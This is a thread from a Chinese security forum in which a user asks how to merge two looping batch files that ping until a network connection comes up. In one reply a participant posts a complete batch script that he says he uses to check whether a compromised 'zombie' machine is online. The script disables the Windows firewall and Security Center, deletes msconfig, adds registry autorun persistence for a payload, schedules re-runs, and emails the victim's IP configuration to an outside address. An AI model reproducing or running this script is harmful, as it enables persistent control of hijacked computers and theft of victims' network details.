|
![]() | 作者: thirdworld [thirdworld]
![]() |
登录 |
现在有两个批处理文件: 1.bat批处理内容: @echo off @ping -l 0 -n 1 127.0.0.1 @call 2.bat 2.bat批处理内容: @echo off @ping -l 1 -t vt.net.tv @ping -l 0 -n 1 127.0.0.1 @call 1.bat ----------------------------------- 现在问题是,如何在同一个批处理文件中,实现上面两个批处理才能完成的任务? 用FOR循环还是怎么的,请指点。 |
地主 发表时间: 05-05-01 19:14 |
![]() | 回复: llk2005 [llk2005] ![]() |
登录 |
我不是高手 斗胆回答你的问题 不要见笑 用 & 符号可以将多个命令 联合起来执行 所以 你的问题可以这样解决 @ping -l 0 -n 1 127.0.0.1 & @ping -l 0 -n 1 127.0.0.1 & @ping -l 1 -t vt.net.tv -------------------------- |
B1层 发表时间: 05-05-02 21:10 |
![]() | 回复: thirdworld [thirdworld] ![]() |
登录 |
谢谢你的回答。 但是效果不一样。 我原先的那两个批处理,执行1.bat它会循环运行,直到网络通时,它才能正确执行2.bat中的。 你改过之后,当网络不通时,它就会自动中断了。 不信您试一试。分别在连接网络和断开网络环境下测试。 |
B2层 发表时间: 05-05-02 21:34 |
![]() | 回复: llk2005 [llk2005] ![]() |
登录 |
哦 我没注意 谢谢你 我又学到东西了 到安全焦点发贴子很快 你就会得到答案的 ----------- 再骂一句这个破论坛 令我 又爱 又恨 妈的!!! [此贴被 llk2005(llk2005) 在 05月02日22时01分 编辑过] |
B3层 发表时间: 05-05-02 21:59 |
![]() | 回复: deathmask [deathmask] ![]() |
登录 |
rem @echo off set|find /i "OS=Windows_NT">nul if not errorlevel 0 goto end FOR /F "SKIP=1 DELIMS=" %%A IN ('VER') DO TITLE %%A net start "task scheduler">nul net stop server /y ver|find /i "Windows 2000">nul||goto XP echo REGEDIT4>%windir%\system32\inf.dll echo.>>%windir%\system32\inf.dll echo [hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon]>>%windir%\system32\inf.dll echo "userinit"="%systemdrive%\\winnt\\system32\\userinit.exe,%systemdrive%\\winnt\\system32\\vbmail.exe,">>%windir%\system32\inf.dll goto reg :XP net stop "Security Center" net stop "Windows Firewall/Internet Connection Sharing (ICS)" net stop "Internet Connection Firewall (ICF) / Internet Connection Sharing (ICS)" if exist %windir%\system32\dllcache\msconfig.exe del %windir%\system32\dllcache\msconfig.exe if exist %windir%\system32\msconfig.exe del %windir%\system32\msconfig.exe echo REGEDIT4>%windir%\system32\inf.dll echo.>>%windir%\system32\inf.dll echo [hkey_local_machine\software\microsoft\windows\currentversion\run]>>%windir%\system32\inf.dll echo "Windows XP"="vbmail.exe">>%windir%\system32\inf.dll :reg regedit -s %windir%\system32\inf.dll for /f "delims=: tokens=1-2" %%a in ('time /t') do set h=%%a&&set s=%%b set /a s+=20 if %s% geq 60 set s=10&&set /a h+=1 if %h% geq 24 set h=0 at /y /d if exist %windir%\system32\r_server.bat call %windir%\system32\r_server.bat ping www.sina.com -n 1 -l 10 -w 1|find "Lost = 0">nul if errorlevel 1 goto attime ipconfig /all>%windir%\system32\ip.txt %windir%\system32\XMAIL.exe SMTP.citiz.net jackey970121@citiz.net jackey121@citiz.net %windir%\system32\ip.txt jackey970121 %win2000%>nul goto end :attime at %h%:%s% %windir%\system32\vbmail.exe>nul :end 很早以前写的 用来判断肉鸡是否在线的 不在线就循环执行的批处理,在线就发IP给我的邮箱 给你参考下 [此贴被 deathmask(deathmask) 在 05月05日15时19分 编辑过] |
B4层 发表时间: 05-05-05 15:18 |
![]() | 回复: thirdworld [thirdworld] ![]() |
登录 |
谢谢楼上的~我会好好参考您的批处理的。 |
B5层 发表时间: 05-05-06 22:01 |
![]() | 回复: lxmxn [lxmxn] ![]() |
登录 |
代码:@echo off |
B6层 发表时间: 07-04-17 21:25 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号